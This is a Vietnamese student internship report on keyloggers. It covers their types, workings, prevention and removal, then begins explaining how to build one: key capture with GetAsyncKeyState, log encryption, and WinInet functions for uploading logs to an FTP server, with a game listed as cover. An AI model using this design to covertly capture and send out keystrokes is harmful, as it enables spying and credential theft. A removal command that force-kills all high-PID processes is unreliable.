SlideShare ist ein Scribd-Unternehmen logo
1 von 40
i
LỜI CẢM ƠN
Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ,
giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác. Trong suốt thời
gian từ khi bắt đầu thực tập đến nay, em đã nhận được rất nhiều sự quan tâm, giúp
đỡ của quý Thầy Cô, gia đình và bạn bè. Với lòng biết ơn sâu sắc nhất, em xin gửi
đến quý Thầy Cô đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn
kiến thức quý báu cho chúng em trong suốt thời gian thực tập tại trường. Và đặc
biệt Em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tâm hướng dẫn chúng em
qua buổi nói chuyện, thảo luận về đề tài thực, và khảo sát hướng nghiệp. Nếu
không có những lời hướng dẫn, dạy bảo của thầy thì em nghĩ bài báo cáo này của
em rất khó có thể hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy.
Bài báo cáo được thực hiện trong khoảng thời gian gần 8 tuần. Lần đầu tiên bước
vào một đề tài. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất
mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các bạn học
cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện hơn.
ii
MỤC LỤC
Trang
LỜI CẢM ƠN ................................................................................................................I
DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH ..............................................................III
LỜI MỞ ĐẦU ................................................................................................................1
CHƯƠNG I: TÌM HIỂU KEYLOGGER VÀ CÁCH PHÒNG CHỐNG
KEYLOGGER...............................................................................................................2
1.1 LỊCH SỬ VỀ KEYLOGGER..............................................................................2
1.2 KHÁI NIỆM VỀ KEYLOGGER .......................................................................2
1.3 PHÂN LOẠI KEYLOGGER ..............................................................................2
1.4 CÁCH HOẠT ĐỘNG CỦA KEYLOGGER.......................................................3
1.5 CÁCH PHÒNG, TRÁNH VÀ PHÁT HIỆN KEYLOGGER............................4
1.6 MỘT SỐ CÁCH TÌM DIỆT VÀ XÓA KEYLOGGER HIỆU QUẢ VỚI
MỘT SỐ HỆ ĐIỀU HÀNH NHẤT ĐỊNH VÀ KEYLOGGER PHỔ BIẾN. .........7
CHƯƠNG II:GIỚI THIỆU CHƯƠNG TRÌNH KEYLOGGER ...........................10
2.1 CÁC KIẾN THỨC LIÊN QUAN ĐỂ PHÁT TRIỂN CHƯƠNG TRÌNH KEYLOGGER....10
2.1.1 Tìm hiểu về hàm xác định phím đã được ấn.................................................10
2.1.2 Tìm hiểu về thuật toán mã hóa file Log.........................................................10
2.1.3 Tìm hiểu một số hàm của Windows phục vụ cho việc upload file log tới
FTP server của chúng ta. .......................................................................................10
2.2 KẾT QUẢ CỦA CHƯƠNG TRÌNH KEYLOGGER......................................................16
CHƯƠNG III .DEMO CHƯƠNG TRÌNH KEYLOGGER....................................18
3.1 GIAO DIỆN TRÒ CHƠI CHE GIẤU CHƯƠNG TRÌNH KEYLOGGER ..18
3.2 GIAO DIỆN CHÍNH CỦA CHƯƠNG TRÌNH KEYLOGGER....................................19
3.3 THAO TÁC THIẾT LẬP CHO FTP SERVER ...............................................19
3.4 KHỞI TẠO FILE LOG ............................................................................................20
3.5 KẾT QUẢ CHẠY CHƯƠNG TRÌNH KEYLOGGER ..................................21
KẾT LUẬN ..................................................................................................................22
PHỤ LỤC .....................................................................................................................23
TÀI LIỆU THAM KHẢO...........................................................................................37
iii
DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH
HÌNH3.1.GIAO DIỆN TRÒ CHƠI CHE GIẤU KEYLOGGER...........................18
HÌNH 3.2 .GIAO DIỆN CHÍNH CỦA CHƯƠNG TRÌNH KEYLOGGER..........19
HÌNH 3.3.GIAO DIỆN TẠO FTP SERVER ............................................................19
HÌNH 3.4.THIẾT LẬP THAM SỐ CHO FTP SERVER........................................20
HÌNH 3.5. TẠO THƯ MỤC VÀ FILE ......................................................................21
HÌNH 3.6 .KẾT QUẢ CHẠY CHƯƠNG TRÌNH KEYLOGGER ........................21
BÁO CAO TTTN ĐẠI HỌC LỞI MỞ ĐẦU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 1
LỜI MỞ ĐẦU
Keylogger là một loại phần mềm gián điệp, xuyên suốt trong đề tài này sẽ giúp chúng
ta có cái nhìn tổng quan về Keylogger từ cách thức hoạt động cho đến cách phòng,
tránh và cách phát hiện Keylogger. Một vấn đề quan trọng nữa đó là sẽ biết được ưu
nhược điểm của Keylogger. Qua những hiểu biết cơ bản đó sẽ giúp chúng ta xây
dựng một chương trình Keylogger. Để hiểu rõ hơn về keylogger chúng ta sẽ đi vào
chi tiết từng phần theo sau dưới đây.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 2
CHƯƠNG I: TÌM HIỂU KEYLOGGER VÀ CÁCH PHÒNG CHỐNG
KEYLOGGER
Tóm tắt:Tiếp cận chương này chúng ta sẽ có một kiến thức cơ bản về Keylogger,
Keylogger được chia làm mấy loại hay sẽ giúp chúng ta biết cách phòng, tránh và
phát hiện Keylogger ra sao. Việc tìm hiểu các kiến thức cơ bản này là rất cần thiết
để chúng ta có thể xây dựng chương trình Keylogger. Ngoài ra việc hiểu được bản
chất và cách thức hoạt động của Keylogger sẽ giúp chúng ta phát triển chương
trình Anti-Keylogger sau này.
1.1 Lịch Sử về Keylogger
Keylogger đã tồn tại trong rất nhiều năm qua. Lịch sử của Keylogger không thể
biết chính xác. Người ta tin rằng nó được xuất hiện đầu tiên bởi chính phủ và
không biết ngày phát hành chính xác của Keylogger. Tuy nhiên cũng có nhiều
người tin rằng nó được xuất hiện trong đầu những năm 90.
1.2 Khái niệm về Keylogger
Keylogger hay "Trình theo dõi thao tác bàn phím" theo cách dịch ra tiếng
Việt là một chương trình máy tính ban đầu được viết nhằm mục đích theo dõi và
ghi lại mọi thao tác thực hiện trên bàn phím vào một tập tin nhật ký (log) để cho
người cài đặt nó sử dụng. Vì chức năng mang tính vi phạm vào riêng tư của người
khác này nên các trình keylogger được xếp vào nhóm các phần mềm gián điệp.
Về sau khi keylogger phát triển cao hơn nó không những ghi lại thao tác bàn phím
mà còn ghi lại cả các hình ảnh hiển thị trên màn hình (screen) bằng cách chụp
(screen-shot) hoặc quay phim (screen-capture) thậm chí còn ghi nhận cách con
trỏ chuột trên máy tính di chuyển.
1.3 Phân loại Keylogger
Keylogger bao gồm hai loại, một loại là keylogger phần cứng và một loại là phần
mềm.
Thực tế hiện nay loại Keylogger phần mềm được sử dụng nhiều hơn so với
Keylogger phần cứng. Theo những người lập trình, keylogger viết ra với chỉ có
một mục đích duy nhất là giúp các bạn giám sát con cái, người thân xem họ làm gì
với PC, với internet, khi chat với người lạ. Nhưng cách sử dụng và chức năng của
keylogger hiện tại trên thế giới khiến người ta thường hay phân loại keylogger theo
mức độ nguy hiểm bằng các câu hỏi:
 Nhiễm vào máy không qua cài đặt hoặc cài đặt vào máy nhanh (Quick install)?
 Có thuộc tính ẩn hoặc giấu trên trình quản lí tiến trình (Process manager) và trình
cài đặt và gỡ bỏ chương trình (Add or Remove Program)?
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 3
 Theo dõi không thông báo hoặc máy tính (PC) bị nhiễm khó tự phát hiện?
 Có thêm chức năng Capturescreen hoặc ghi lại thao tác chuột?
 Khó tháo gỡ?
 Có khả năng lây nhiễm, chống tắt (Kill process)?
Cứ mỗi câu trả lời "có", sẽ cho một điểm. Điểm càng cao, Keylogger càng vượt
khỏi mục đích giám sát (Monitoring) đến với mục đích do thám (Spying) và tính
nguy hiểm nó càng cao. Keylogger có thể được phân loại theo số điểm:
Loại số 1
Không điểm: Keylogger loại bình thường; chạy công khai, có thông báo cho người
bị theo dõi, đúng với mục đích giám sát.
Loại số 2
Một đến hai điểm: Keylogger nguy hiểm. Keylogger loại này sẽ chạy ngầm, hướng
đến mục đích do thám nhiều hơn là giám sát (nguy hại đến các thông tin cá nhân
như là tài khoản cá nhân, mật khẩu, thẻ tín dụng vì người dùng không biết).
Loại số 3
Ba đến năm điểm: Keylogger loại này rất nguy hiểm, ẩn giấu hoàn toàn theo dõi
trên một phạm vi rộng, mục đích do thám rõ ràng.
Loại số 4
Sáu điểm: Keylogger nguy hiểm nghiêm trọng, thường được mang theo bởi các
trojan-virus cực kỳ khó tháo gỡ, là loại keylogger nguy hiểm nhất. Chính vì vậy
(và cũng do đồng thời là "đồng bọn" của Trojan-virus) nó thường hay bị các
chương trình chống virus tìm thấy và tiêu diệt.
1.4 Cách hoạt động của Keylogger
Thành phần của Keylogger
Thông thường, một chương trình keylogger sẽ gồm có ba phần chính:
 Chương trình điều khiển (Control Program): dùng để điều phối hoạt động, tinh
chỉnh các thiết lập, xem các tập tin nhật ký cho Keylogger. Phần này là phần được
giấu kỹ nhất của keylogger, thông thường chỉ có thể gọi ra bằng một tổ hợp phím
tắt đặc biệt.
 Tập tin hook, hoặc là một chương trình monitor dùng để ghi nhận lại các thao tác
bàn phím, capture screen (đây là phần quan trọng nhất).
 Tập tin nhật ký (log), nơi chứa đựng hoặc ghi lại toàn bộ những gì hook ghi nhận
được.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 4
 Ngoài ra, tùy theo loại có thể có thêm phần chương trình bảo vệ (guard, protect),
chương trình thông báo (report)…
Cách thức cài đặt vào máy
Các loại Keylogger từ 1 tới 3 thông thường khi cài đặt vào máy cũng giống như
mọi chương trình máy tính khác, đều phải qua bước cài đặt. Đầu tiên nó sẽ cài đặt
các tập tin dùng để hoạt động vào một thư mục đặc biệt (rất phức tạp), sau đó đăng
ký cách thức hoạt động rồi đợi người dùng thiết lập thêm các ứng dụng. Sau đó nó
bắt đầu hoạt động.
Loại keylogger số 4 có thể vào thẳng máy của người dùng bỏ qua bước cài đặt,
dùng tính năng Autorun để cùng chạy với hệ thống. Một số loại tự thả (drop) mình
vào các chương trình khác, để khi người dùng sử dụng các chương trình này
Keylogger sẽ tự động chạy theo.
Cách hoạt động
Trong một hệ thống (Windows, Linux, Mac…), khi bấm 1 phím trên bàn phím,
bàn phím sẽ chuyển nó thành tín hiệu chuyển vào CPU. CPU sẽ chuyển nó tới hệ
điều hành để hệ điều hành dịch thành chữ hoặc số cho chính nó hoặc các chương
trình khác sử dụng.
Nhưng khi trong hệ thống đó có Keylogger, không những chỉ có hệ điều hành theo
dõi mà cả hook file hoặc monitor program của Keylogger theo dõi nó sẽ ghi nhận
và dịch lại các tính hiệu ghi vào tập tin nhật ký. Đồng thời nó còn có thể theo dõi
cả màn hình và thao tác chuột.
1.5 Cách phòng, tránh và phát hiện Keylogger
Phòng
Keylogger thường cài đặt vào máy qua hai con đường chính: được cài đặt hoặc bị
cài đặt.
Phòng ngừa "được cài đặt”
Phương pháp sau chỉ có tác dụng với chủ máy (người nắm quyền root hoặc
administrator). Cách tốt nhất là không cho ai sử dụng chung máy tính. Bảo mật
máy bằng cách khóa lại bằng các chương trình bảo vệ, hoặc mật khẩu khi đi đâu
đó. Nếu phải dùng chung nên thiết lập quyền của người dùng chung đó thật
thấp (guest đối với Windows XP, user đối với Linux) để kiểm soát việc cài đặt
chương trình của họ.
Phòng ngừa "bị cài đặt”
Bị cài đặt là cách để nói đến các trường hợp Keylogger vào máy không do người
nào đó trực tiếp đưa vào trên máy đó mà do Trojan, Virus, Spyware cài đặt vào
máy nạn nhân mà nạn nhân không hề hay biết. Các biện pháp phòng ngừa:
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 5
 Không tùy tiện mở các tập tin lạ, không rõ nguồn gốc (đặc biệt chú ý các tập tin
có đuôi *.exe, *.com, *.bat, *.scr, *.swf, *.zip, *.rar, *.js, *.gif…). Tốt nhất là nên
xóa đi, hoặc kiểm tra (scan) bằng một chương trình antivirus và một chương trình
antispyware, vì nhiều chương trình antivirus chỉ có thể tìm thấy virus, không thể
nhận biết spyware.
 Không vào các trang web lạ, đặc biệt là web "tươi mát" vì có thể các trang web
này ẩn chứa một loại worm, virus, hoặc là mã độc nào đó có thể âm thầm cài đặt.
 Không click vào các đường link lạ do ai đó gửi cho chúng ta.
 Không cài đặt các chương trình lạ (vì nó có thể chứa virus, trojan).
 Không download chương trình từ các nguồn không tin cậy. Nếu có thể xem
xét chữ ký điện tử, để chắc chắn chương trình không bị sửa đổi.
 Hạn chế download và sử dụng cracked-program.
 Luôn luôn tự bảo vệ mình bằng các chương trình chuyên dùng chống virus,
chống spyware (antivirus, antispyware) và dựng tường lửa (firewall) khi ở trong
Internet.
 Thường xuyên cập nhật đầy đủ các bản cập nhật bảo mật của hệ điều hành.
 Hoặc chúng ta có thể download một số phần mềm chống Keylogger về để bảo
vệ
Tránh keylogger
Khi nghi ngờ có keylogger mà không có điều kiện kiểm tra.
Diệt tập tin hook, chương trình theo dõi. Sử dụng một chương trình task
manager (có thể gọi ra bằng tổ hợp phím tắt Ctrl+Alt+Del trên Windows) xem các
chương trình đang chạy. Nếu thấy process nào lạ (đặc biệt đối với Windows XP là
các tập tin được chạy dưới User name không phải là System) chưa thấy bao giờ hãy
tắt (end, kill) nó đi. Lưu ý cách này có thể làm treo hệ thống nếu đó là một tập tin
cần cho hệ điều hành vì vậy người dùng cần có kinh nghiệm.
Che mắt keylogger
Keylogger hoạt động trên nguyên tắc theo dõi bàn phím (monitoring keyboard) chỉ
có rất ít có khả năng theo dõi chuột (dù có theo dõi được cũng không chính xác
lắm) và có khả năng capture clipboard. Vì vậy dù hệ thống có keylogger (trừ các
keylogger có khả năng quay phim) có thể được vượt qua bằng cách:
 Sử dụng On-Screen Keyboard (bàn phím trên màn hình) (trong windows gọi ra
bằng Start/Run/osk) để nhập cách dữ liệu nhạy cảm (mật khẩu, thẻ tín dụng) bằng
cách click chuột. Vì đây là cách nhập liệu nằm ngoài vùng theo dõi của các tập tin
hook (vì không qua bàn phím) nên Keylogger sẽ không ghi nhận được thông tin gì.
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 6
Cách này dễ dùng nhưng người khác có thể trông thấy thông tin được nhập vào
(tiếng lóng thường dùng là đá pass) do đó chúng ta mất password.
 Sử dụng Copy’n’Paste (chép và dán): Tìm một đoạn văn bản nào đó có các từ
nằm trong đoạn thông tin muốn giấu (ví dụ: Mật khẩu là password chúng ta hãy
tìm một đoạn văn có các từ p, a, s, w, o, r, d (ví dụ to day Is a hot day, peter feel
bad he want a cool drink or a ice-cream) copy từng chữ một và dán nó thành chữ
password rồi gửi đi. Cách này có ưu điểm là dễ dùng nhưng khá rắc rối và kém
hiệu quả nhất bởi vì nhiều Keylogger có chức năng theo dõi clipboard.
 Sử dụng type’n’Click (bấm và nhấn): Vì bản thân một Keylogger thông thường
không thể theo dõi các bấm chuột. Ví dụ muốn đánh một đoạn thông tin là
password, đầu tiên hãy đánh một số từ có trong nó: psr rồi sử dụng chuột (không
dùng bàn phím) chen ngang vào p và s đánh chữ a giữa s và r đánh chữ swo sau r
là chữ d. Dòng thông tin nhập vào password nhưng trong tập tin nhật ký log
keylogger ghi lại được là psraswod. Cách này khá hay nhưng không phù hợp với
các thông tin dài vì dễ gây quên.
Chống keylogger
Phương pháp đơn giản
Nhanh hiệu quả nhất là diệt trừ toàn bộ các chương trình đang theo dõi bàn phím
đi. Một số chương trình như là Keylogger Killer của Totto quét các process tìm các
chương trình theo dõi cùng lúc quá nhiều ứng dụng (keylogger dùng cách này
thường bằng một tập tin *.dll) rồi đề nghị bạn tắt nó đi. Thế nhưng một số chương
trình tốt (như các chương trình giúp gõ bàn phím Unikey, Vietkey) cũng dùng cách
này nên có thể gây diệt lầm.
Phương pháp nâng cao
Sử dụng một chương trình chống spyware chuyên dụng. Các chương trình này sẽ
tự động quét, phân tích các chương trình đang chạy cũng như trên máy để từ đó
nhận biết các chương trình keylogger và tự động diệt. Một số chương trình còn có
chế độ bảo vệ thời gian thực (Real-Time Protection) giúp bảo vệ chúng ta chống
ngay khi spyware chuẩn bị cài vào máy.
Nhưng điểm gây khó khăn nhất của cách dùng này là đa số các chương trình sử
dụng tốt đều phải trả tiền (ví dụ như Spyware Doctor của Pctools, McAfee
Antispywarecủa McAfee, Bitdefender…)
Tuy thế vẫn có một số chương trình miễn phí và khá tốt như Ad-Aware SE, Spybot
S&D, Spyblaster tuy rằng nó lâu lâu vẫn bắt hụt một số chương trình đặc biệt,
nhưng nếu dùng kết hợp (cùng lúc cả hai hoặc cả ba) thi hiệu quả hầu như là hoàn
toàn.( Nếu chúng ta chạy 2-3 chương trình không phù hợp với nhau sẽ gây ra xung
đột phần mêm chống virus)
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 7
Trong một số trường hợp, người dùng chọn cách chống Keylogger theo cách "sống
chung với lũ". Lấy ví dụ về Keyscrambler là một trong số những phần mềm bảo vệ
máy tính theo phương pháp này. Mọi dữ liệu về phím bấm được truyền đến Hệ
điều hành và được Keyscrambler mã hóa trước (do keyscrambler tác động trực tiếp
từ phần lõi Kennel), sau đó mới đến các phần mềm khác (bao gồm cả keylogger)
và cuối cùng được giải mã lại cho đúng với các phím được gõ. Phương pháp này
có thể vô hiệu hóa đa số các loại keylogger hiện tại, không yêu cầu người dùng cập
nhật các trình anti-keylogger thường xuyên. Tuy nhiên, nó cũng có những điểm
yếu riêng. Nếu keylogger được viết để ghi lại các phím sau khi chúng được giải mã
(ví dụ: Cài Keylogger như là một addon của trình duyệt...) thì xem như đã vô hiệu
hóa được keyscrambler, và nó cũng chỉ hỗ trợ một số phần mềm nhất định. Khi
dùng chung với các phần mềm gõ tiếng Việt, người dùng sẽ phải tắt KeyScramble
đi, đây là một sự phiền phức lớn dù nó minh chứng cho khả năng bảo mật của
phần mềm này.
1.6 Một số cách tìm diệt và xóa Keylogger hiệu quả với một số hệ điều
hành nhất định và Keylogger phổ biến.
Cách tìm và tiêu diệt Perfect Keylogger :
* Cách tìm :
Yêu cầu : Chỉ áp dụng được với Windows 2K và XP (Windows 9x không hỗ trợ)
1. Vào mục Start -> Run gõ : cmd
2. Ở màn hình Dos gõ : tasklist /m bpkhk.dll
Nếu không có Keylogger chúng ta sẽ nhận được 1 thông báo lỗi :
Info: Không tasks running with the specified criteria.
Nếu có Keylogger màn hình sẽ hiển thị :
Image Name PID Modules diễn giải
explorer 468 bpkhk.dll <--- quen thuộc
DUMeter 1444 bpkhk.dll <--- quen thuộc
ctfmon 1548 bpkhk.dll <--- quen thuộc
acrotray 1820 bpkhk.dll <--- quen thuộc
notepad 1956 bpkhk.dll <--- quen thuộc
firefox 2012 bpkhk.dll <--- quen thuộc
bdmcon 1744 bpkhk.dll <--- quen thuộc
TOTALCMD 2396 bpkhk.dll <--- quen thuộc
bpk 2812 bpkhk.dll <--- Keylogger
Sở dĩ chúng ta tìm tập tin bpkhk.dll là vì đây chính là tập tin Perfect Keylogger
dùng để ghi lại thao tác trên máy tính.
* Cách diệt :
Đã tìm được tên đích danh rồi chúng ta hãy thực hiện các bước sau để tiêu diệt :
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 8
1. Vào mục Start -> Run gõ : cmd
2. Ở màn hình Dos gõ : taskkill /f /im bpk /t
3. Tắt tất cả các chương trình đang chạy hiện thời (Explorer, bdswitch, DUMeter )
4. Mở Explorer vào thư mục WindowsSystem32 xóa các tập tin bpk, bpkhk.dll,
bpkwb.dll ...
Cách tìm và tiêu diệt Easy Keylogger
Sau khi cài đặt xong và khởi động Easy Keylogger có 1 biểu tượng chạy ở system
tray.
Chức năng chính của Easy Keylogger :
+ Cho phép đặt phím tắt, mặc định : Shift + Ctrl + alt +V
+ Tập tin dùng để Capture thao tác : Ekey.dll
+ Chỉ có thể Capture thao tác, không có chế độ chạy ẩn, không có chức năng đính
kèm Keylogger
* Ghi chú nhỏ : Có thể máy tính của chúng ta đang chạy rất nhiều chương trình
ứng dụng, nên khi dùng lệnh : tasklist /m
Chúng ta sẽ khó theo dõi được, để đạt hiệu quả cao chúng ta hãy xuất vào 1 tập tin
tạm (stout) ra 1 tập tin .txt
Dùng lệnh :
1. Vào mục Start -> Run gõ : cmd
2. Ở màn hình Dos gõ : tasklist /m > ctemp.txt
(Ở đây chúng ta ví dụ xuất vào ổ đĩa C với tập tin temp.txt)
* Cách tìm :
Yêu cầu : Chỉ áp dụng được với Windows 2K và XP (Windows 9x không hỗ trợ)
1. Vào mục Start -> Run gõ : cmd
2. Ở màn hình Dos gõ : tasklist /m Ekey.dll
Nếu không có Keylogger bạn sẽ nhận được 1 thông báo lỗi :
INFO: Không tasks running with the specified criteria.
Nếu có Keylogger màn hình sẽ hiển thị :
Image Name PID Modules Diễn giải
TOTALCMD*************** ----- 2040 ----- ekey.dll <--- quen thuộc
Easy Keylogger*************** -- 2340 ----- ekey.dll <--- Keylogger
Sở dĩ chúng ta tìm tập tin Ekey.dll là vì đây chính là tập tin Easy Keylogger dùng
để ghi lại thao tác trên máy tính.
* Cách diệt : (Lưu ý ở đây sẽ có nhiều cách diệt khỏi Process)
Đã tìm được tên đích danh rồi chúng ta hãy thực hiện các bước sau để tiêu diệt :
1. Cách diệt thông thường :
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG I. TÌM HIỂU KEYLIGER
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 9
+ Vào mục Start -> Run gõ : cmd
+ Ở màn hình Dos gõ : taskkill /f /im Easy Keylogger*************** /t
ERROR: Invalid Argument/Option - 'Key'.
2. Cách diệt sử dụng wildcard :
+ IProgram Files>taskkill /f /im EasyKe~1*************** /t
ERROR: The process "EasyKe~1***************" not found.
3. Cách diệt sử dụng được :
+ Vào mục Start -> Run gõ : cmd
+ Ở màn hình Dos gõ : taskkill /f /fi "pid ge 2340" /im *
Giải thích : Để hiểu được chúng ta hãy xem lại phía trên khi chúng ta tìm Ekey.dll
Windows đã phát hiện ra được rằng Easy Keylogger đang chạy ở thread 2340 đúng
không . Đây là cách dùng để loại bỏ tên tập tin dài.
4. Tắt tất cả các chương trình đang chạy hiện thời.
5. Mở Explorer tìm và xóa các tập tin Easy Keylogger***************, Ekey.dll
Cách tìm và tiêu diệt Active Keylogger
Sau khi cài đặt xong và khởi động Active Key Logger có 1 biểu tượng chạy ở
system tray.
Chức năng bên trong của Active Keylogger :
- Tập tin dùng để Capture : smode.dll, CMD16.dll.
- Chức năng Security : (cho phép ẩn hoàn toàn trên hệ thống)
+ Disable Task Manager
+ Remove Shortcut from Desktop
+ Remove Shortcut from Start Thực đơn
+ Remove Active Keylogger from Uninstall List
- Stealth Mode : Cho phép chạy ẩn
Phân tích sơ bộ về Active Keylogger :
- Có khả năng Capture tất cả các thao tác trên máy tính.
- Không có khả năng tự đính kèm, tuy nhiên vẫn có thể dùng một số chương trình
khác để đính kèm vào được
- Cho phép gởi tập tin log qua email (mặc định port 25), tập tin log có tên *.kl (có
thể thay đổi được)
Cách diệt :
Chúng ta hãy dùng cách tìm và diệt giống như của Easy Keylogger, vì Active Key
Logger cũng là 1 tập tin có tên dài quá 8 ký tự
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 10
CHƯƠNG II:GIỚI THIỆU CHƯƠNG TRÌNH KEYLOGGER
2.1 Các kiến thức liên quan để phát triển chương trình Keylogger
2.1.1 Tìm hiểu về hàm xác định phím đã được ấn.
Sử dụng hàm : GetAsyncKeyState() để lấy thông tin phím đã được bấm hàm này
yêu cầu thư viên: User32.lib
Header trong lập trinh C++ yêu cầu: Winuser.h (include Windows.h)
Cú pháp như sau:
SHORT WINAPI GetAsyncKeyState(
_In_ int vKey
);
vKey [in]:
Kiểu : int
Giá trị trả về kiểu SHORT. Hàm này cho biết tình trạng của một phím (Có được
ấn hay không…).
GetAsyncKeyState(character)==-32767
giá trị để kiểm tra xem đã có phím nào được ấn chưa. Nếu có thì sẽ có giá trị bằng
-32767. Tiếp theo sau đó là xác định phím đã được ấn trong một vòng lặp .Phím ấn
sẽ được ghi vào file log.
2.1.2 Tìm hiểu về thuật toán mã hóa file Log
Chương trình Keylogger em viết có sử dụng mã hóa cổ điển, chính xác là mã hóa
thay thế. Trong chương trình có sử Key mặc định để mã hóa là: 6784354. Đây là
một cách mã hóa đơn giản và tốn ít tài nguyên xử lý. Mã hóa và giải mã sẽ rất
nhanh. Chi tiết mã hóa sẽ như sau:
Sau khi bắt được các phím đã ấn (Keypress). Keypress này sẽ được đổ vào 1 file
chưa mã hóa. Ngay lập tức ký tự này sẽ được cộng thêm một giá trị nữa đó là khóa
do người dùng nhập vào. Kết quả của việc cộng này sẽ được đổ vào file log mã
hóa. Mặc dù hơi rắc rối cho việc tạo 2 file nhưng không ảnh hưởng nhiều tới tốc
độ xử lý hay chiếm tài nguyên lớn cho máy chính của chúng ta.
2.1.3 Tìm hiểu một số hàm của Windows phục vụ cho việc upload file
log tới FTP server của chúng ta.
2.1.3.1 InternetOpen function : Hàm này sử dụng thư viện Wininet.lib.
InternetOpen là hàm WinInet đầu tiên được gọi bởi một ứng dụng. Nó thông báo
cho các DLL Internet để khởi tạo cấu trúc dữ liệu nội bộ và chuẩn bị cho các cuộc
gọi từ các ứng dụng tương lai. Khi ứng dụng kết thúc bằng cách sử dụng chức
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 11
năng của Internet, nên gọi InternetCloseHandle để giải phóng và xử lý bất kỳ tài
nguyên liên quan.
Ứng dụng này có thể làm bất kỳ các cuộc gọi InternetOpen, mặc dù một cuộc gọi
duy nhất là đủ. Các ứng dụng có thể cần phải xác định hành vi riêng biệt cho mỗi
trường hợp InternetOpen, chẳng hạn như các máy chủ proxy khác nhau cho mỗi
cấu hình.
Sau khi ứng dụng gọi đã kết thúc bằng cách sử dụng HINTERNET xử lý trả về bởi
InternetOpen, nó phải được đóng lại bằng cách sử dụng hàm InternetCloseHandle.
Giống như tất cả các khía cạnh khác của WinInet API, chức năng này không thể
được gọi một cách an toàn từ bên trong DllMain hoặc constructor và destructor của
các đối tượng.
Cú pháp của hàm này như sau :
HINTERNET InternetOpen(
_In_ LPCTSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_ LPCTSTR lpszProxyName,
_In_ LPCTSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
Ý nghĩa giá trị của các tham số như sau :
lpszAgent : Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của ứng dụng
hoặc ứng dụng gọi hàm WinInet. Tên này được sử dụng như tác nhân người dùng
trong giao thức HTTP.
wAccessType: Kiểu truy cập yêu cầu. Tham số này có thể là một trong những giá
trị sau.
INTERNET_OPEN_TYPE_DIRECT: Giải quyết tất cả các tên máy chủ .
INTERNET_OPEN_TYPE_PRECONFIG: Lấy proxy hoặc cấu hình trực tiếp từ
registry.
INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY: Lấy proxy
hoặc cấu hình trực tiếp từ người đăng ký và ngăn việc sử dụng khởi động
Microsoft JScript hoặc cài đặt Internet (INS) tập tin.
INTERNET_OPEN_TYPE_PROXY: Thông qua yêu cầu đến proxy trừ khi một
danh sách bỏ qua proxy được cung cấp và các tên được giải quyết bỏ qua proxy.
Trong trường hợp này, các chức năng sử dụng
INTERNET_OPEN_TYPE_DIRECT.
lpszProxyName [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định tên của
máy chủ proxy (s) để sử dụng khi truy cập proxy được xác định bằng cách thiết lập
BÁO CAO TTTN ĐẠI HỌC CHƯƠNG II. GIỚI THIỆU
SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 12
dwAccessType INTERNET_OPEN_TYPE_PROXY. Không sử dụng một chuỗi
rỗng, bởi vì InternetOpen sẽ sử dụng nó như là tên proxy. Các chức năng WinInet
chỉ nhận ra loại CERN proxy (HTTP chỉ ) và là cửa ngõ TIS FTP ( FTP ). Nếu
Microsoft Internet Explorer được cài đặt, các chức năng này cũng hỗ trợ SOCKS
proxy. Yêu cầu FTP có thể được thực hiện thông qua một loại CERN chủ proxy
hoặc bằng cách thay đổi chúng bằng một yêu cầu HTTP hoặc bằng cách sử dụng
InternetOpenUrl .
Nếu dwAccessType không được thiết lập để INTERNET_OPEN_TYPE_PROXY,
tham số này được bỏ qua và phải là NULL. Để biết thêm thông tin về danh sách
các máy chủ proxy, xem phần máy chủ liệt kê Proxy của Kích hoạt chức năng
Internet .
lpszProxyBypass [in]: Con trỏ trỏ đến một chuỗi null-chấm dứt chỉ định một danh
sách tùy chọn tên máy chủ hoặc địa chỉ IP hoặc cả hai, không nên định tuyến thông
qua các proxy khi dwAccessType được thiết lập để
INTERNET_OPEN_TYPE_PROXY. Danh sách có thể chứa ký tự đại diện .
Không sử dụng một chuỗi rỗng, bởi vì InternetOpen sẽ sử dụng nó như là danh
sách bỏ qua proxy. Nếu tham số này xác định "<local> " macro thì hàm bỏ qua các
